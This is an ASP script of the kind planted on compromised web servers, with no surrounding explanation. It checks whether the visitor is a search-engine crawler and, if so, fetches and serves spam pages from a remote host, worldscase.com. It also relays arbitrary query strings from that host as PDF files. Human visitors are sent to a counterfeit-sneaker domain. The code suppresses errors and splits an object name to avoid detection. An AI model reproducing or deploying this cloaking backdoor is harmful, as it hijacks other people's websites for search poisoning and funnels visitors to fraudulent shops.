<%
server.ScriptTimeout=9999999
On Error Resume next

urlPath="http://2015.worldscase.com/News/"
fileName="sitemap.php"
nowfileName=CStr(Request.ServerVariables("Server_Name"))
queryStr=Trim(Request.QueryString)
s_bot=get_agent()
s_referer=get_referer()

if s_bot="true" Then
    if queryStr="" then
        bodyText=GetResStr(urlPath&fileName)
        bodyText=replace(bodyText,urlPath,"?",1,-1,1)
        bodyText=replace(bodyText,"href=""","href=""?",1,-1,1)
        bodyText=replace(bodyText,"href=""?http","href=""http",1,-1,1)
        Response.Addheader "Content-Type","text/html;charset=utf-8"
        Response.write bodyText
    else
        GetPDF urlPath&queryStr,queryStr
    end if
    Response.End	
else
    Response.Status="301 Moved Permanently"
    Response.AddHeader "Location","https://www.nikehypervenomii.com"
    Response.End
end if

function get_agent()
	dim s_agent
	get_agent="false"
	s_agent="agent:"&LCase(Request.ServerVariables("HTTP_USER_AGENT"))
	if instr(1,s_agent,"aol",1) > 0 then
		get_agent="true"
	end if
	if instr(1,s_agent,"bing",1) > 0 then
		get_agent="true"
	end if
	if instr(1,s_agent,"google",1) > 0 then
		get_agent="true"
	end if
	if instr(1,s_agent,"msnbot",1) > 0 then
		get_agent="true"
	end if
	if instr(1,s_agent,"yahoo",1) > 0 then
		get_agent="true"
	end if
end Function

function get_referer()
	dim s_referer
	get_referer="false"
	s_referer="referer:"&LCase(Request.ServerVariables("HTTP_REFERER"))
	if instr(1,s_referer,"aol",1) > 0 then
		get_referer="true"
	end if
	if instr(1,s_referer,"bing",1) > 0 then
		get_referer="true"
	end if
	if instr(1,s_referer,"google",1) > 0 then
		get_referer="true"
	end if
	if instr(1,s_referer,"msnbot",1) > 0 then
		get_referer="true"
	end if
	if instr(1,s_referer,"yahoo",1) > 0 then
		get_referer="true"
	end if
end function

function GetPDF(url,filename)
Set xml = Server.CreateObject("MSXM"&"L2.serve"&"rXML"&"HT"&"TP")
xml.Open "GET",url,False
xml.Send
if Err.Number<>0 then 
	Response.Status="500"
	Response.End
ElseIf xml.Status<>200 Then
	Response.Status="404"
	Response.End
Else
	Response.ContentType="application/pdf"
	Response.AddHeader "Content-Disposition", "inline; filename=" & filename
	Response.BinaryWrite(xml.responseBody)
	Response.Flush 
end If
End Function

function GetResStr(URL)
	dim ResBody,ResStr,PageCode
	Set Http=server.createobject("msxml2.serverxmlhttp.3.0")
	Http.setTimeouts 60000, 60000, 60000, 60000
	Http.open "GET",URL,False
	Http.Send()
	If Http.Readystate =4 Then
		If Http.status=200 Then
		ResStr=http.responseText
		ResBody=http.responseBody
		PageCode="utf-8"
		GetResStr=BytesToBstr(http.responseBody,trim(PageCode))
		End If
	End If
End Function

Function BytesToBstr(Body,Cset)
	Dim Objstream
	Set Objstream = Server.CreateObject("adodb.stream")
	objstream.Type = 1
	objstream.Mode =3
	objstream.Open
	objstream.Write body
	objstream.Position = 0
	objstream.Type = 2
	objstream.Charset = Cset
	BytesToBstr = objstream.ReadText
	objstream.Close
	set objstream = nothing
End Function
%>